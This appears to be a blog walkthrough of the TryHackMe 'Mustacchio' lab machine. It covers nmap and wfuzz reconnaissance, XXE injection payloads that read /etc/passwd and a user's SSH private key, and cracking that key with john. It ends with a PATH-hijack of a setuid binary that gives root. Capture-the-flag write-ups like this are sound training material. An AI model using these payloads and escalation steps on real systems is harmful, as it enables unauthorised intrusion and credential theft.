Title here
Summary here
Mustacchio
January 18, 20234 minutes
https://tryhackme.com/room/mustacchio
Attacker IP = 10.10.10.10
Target IP = 10.10.3.160
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
ping -c 1 10.10.131.18
PING 10.10.131.18 (10.10.131.18) 56(84) bytes of data.
64 bytes from 10.10.131.18: icmp_seq=1 ttl=63 time=372 ms
--- 10.10.131.18 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 371.643/371.643/371.643/0.000 ms
In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux
Port scan (nmap)
Now we start with a port scan
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.131.18 -oG allPorts
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| -sS –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip host discovery |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.131.18
5 │ [*] Open ports: 22,80,8765
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts
❯ nmap -p22,80,8765 -sC -sV 10.10.131.18
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 581b0c0ffacf05be4cc07af1f188611c (RSA)
| 256 3cfce8a37e039a302c77e00a1ce452e6 (ECDSA)
|_ 256 9d59c6c779c554c41daae4d184710192 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open http nginx 1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80
When we open the website, the first thing we see is the following:
With wfuzz we are going to look for subdirectories
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt http://10.10.131.18/FUZZ
Among everything it finds, there is one called custom that contains a js folder and a css folder. Inside js there is a file called users.bak. After downloading it, with strings we can see a user (admin) and a hash
We can try to crack that hash with the search-that-hash tool
Port 8765
On this port there is another website with a login panel, which we can get into with the credentials we got earlier. Once in, we see the following:
If we leave it blank, a notification says we have to enter XML code
Since three fields show up below (Name, Author and Comment), we can try sending XML code with those fields.
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<name>test1</name>
<author>test2</author>
<com>test3</com>
</comment>
We can try an XXE injection with the following XML code so it shows the /etc/passwd file
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY testxxe SYSTEM "file:///etc/passwd"> ]>
<comment>
<name>&testxxe;</name>
<author>test2</author>
<com>test3</com>
</comment>
It works!
Using the same thing we can see the “RSA PRIVATE KEY”. This time, instead of “file://”, I used “php://filter/convert.base64-encode/resource=/” so it doesn’t lose its structure.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY testxxe SYSTEM "php://filter/convert.base64-encode/resource=/home/barry/.ssh/id_rsa"> ]>
<comment>
<name>&testxxe;</name>
<author>test2</author>
<com>test3</com>
</comment>
The response is base64-encoded. We can decode it like this
echo "Respuesta en base64" | base64 -d
We save the response in a file called id_rsa and run chmod 400 id_rsa.
The “RSA PRIVATE KEY” is encrypted; we can crack it with john:
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Now we have credentials to connect over SSH
Privilege escalation
Inside /home/joe there is an interesting file
barry@mustacchio:/home/joe# file live_log
live_log: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c03a68094c63347aeb02281a45518964ad12abe, for GNU/Linux 3.2.0, not stripped
With the strings command we can see text strings. On one line we see it runs tail without the full path; we can abuse this by creating a tail in /tmp and adding /tmp to the PATH, so we can run whatever we want as root.
echo "/bin/bash" > /tmp/tail
chmod +x /tmp/tail
export PATH=/tmp:$PATH
We are root!
Prev
SourceNext
Wonderland